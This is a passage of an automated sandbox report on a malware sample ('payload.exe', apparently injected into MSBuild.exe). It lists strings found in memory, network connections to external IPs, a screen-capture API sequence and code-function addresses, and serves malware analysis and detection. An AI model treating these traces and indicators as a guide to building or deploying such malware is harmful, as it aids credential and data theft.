Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, CGDHIE.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1994902601.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896695804.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864612116.0000000003332000.00000004.00000020.00020000.00000000.sdmp, AAKEGI.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, CGDHIE.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864612116.0000000003332000.00000004.00000020.00020000.00000000.sdmp, AAKEGI.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: JDAKJD.0.dr	String found in binary or memory: https://www.mozilla.org
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2180571861.000000002272C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/:
Source: JDAKJD.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2180571861.000000002272C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/BKECAAKJKF
Source: JDAKJD.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2180571861.000000002272C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2006550164.0000000025466000.00000004.00000020.00020000.00000000.sdmp, JDAKJD.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/vchost.exe
Source: JDAKJD.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2180571861.000000002272C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/chost.exe
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2006550164.0000000025466000.00000004.00000020.00020000.00000000.sdmp, JDAKJD.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	HTTPS traffic detected: 104.102.49.249:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 168.119.176.241:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.249:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 168.119.176.241:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 168.119.176.241:443 -> 192.168.2.4:49773 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 6_2_00411530 GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GlobalFix,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

6_2_00411530

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2BED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	0_2_6C2BED10
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2FB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C2FB700
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2FB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C2FB8C0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2FB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C2FB910
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C29F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C29F280

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003EBD50	0_2_003EBD50
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003EA130	0_2_003EA130
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003E9B30	0_2_003E9B30
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003E9B58	0_2_003E9B58
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2935A0	0_2_6C2935A0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C30542B	0_2_6C30542B
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C30AC00	0_2_6C30AC00
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2D5C10	0_2_6C2D5C10
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2E2C10	0_2_6C2E2C10
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2A5440	0_2_6C2A5440
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C30545C	0_2_6C30545C
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2F34A0	0_2_6C2F34A0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2FC4A0	0_2_6C2FC4A0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2A6C80	0_2_6C2A6C80
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C29D4E0	0_2_6C29D4E0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2D6CF0	0_2_6C2D6CF0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2A64C0	0_2_6C2A64C0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2BD4D0	0_2_6C2BD4D0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2AFD00	0_2_6C2AFD00
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2BED10	0_2_6C2BED10
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2C0512	0_2_6C2C0512
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2F85F0	0_2_6C2F85F0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2D0DD0	0_2_6C2D0DD0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2F9E30	0_2_6C2F9E30
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2E5600	0_2_6C2E5600
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2D7E10	0_2_6C2D7E10
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C306E63	0_2_6C306E63
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C29C670	0_2_6C29C670
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2E2E4E	0_2_6C2E2E4E
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2B4640	0_2_6C2B4640
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2B9E50	0_2_6C2B9E50
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2D3E50	0_2_6C2D3E50
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2F4EA0	0_2_6C2F4EA0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2FE680	0_2_6C2FE680
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2B5E90	0_2_6C2B5E90
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C3076E3	0_2_6C3076E3
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C29BEF0	0_2_6C29BEF0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2AFEF0	0_2_6C2AFEF0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2A9F00	0_2_6C2A9F00
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2D7710	0_2_6C2D7710
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2E77A0	0_2_6C2E77A0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C29DFE0	0_2_6C29DFE0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2C6FF0	0_2_6C2C6FF0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2DB820	0_2_6C2DB820
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2E4820	0_2_6C2E4820
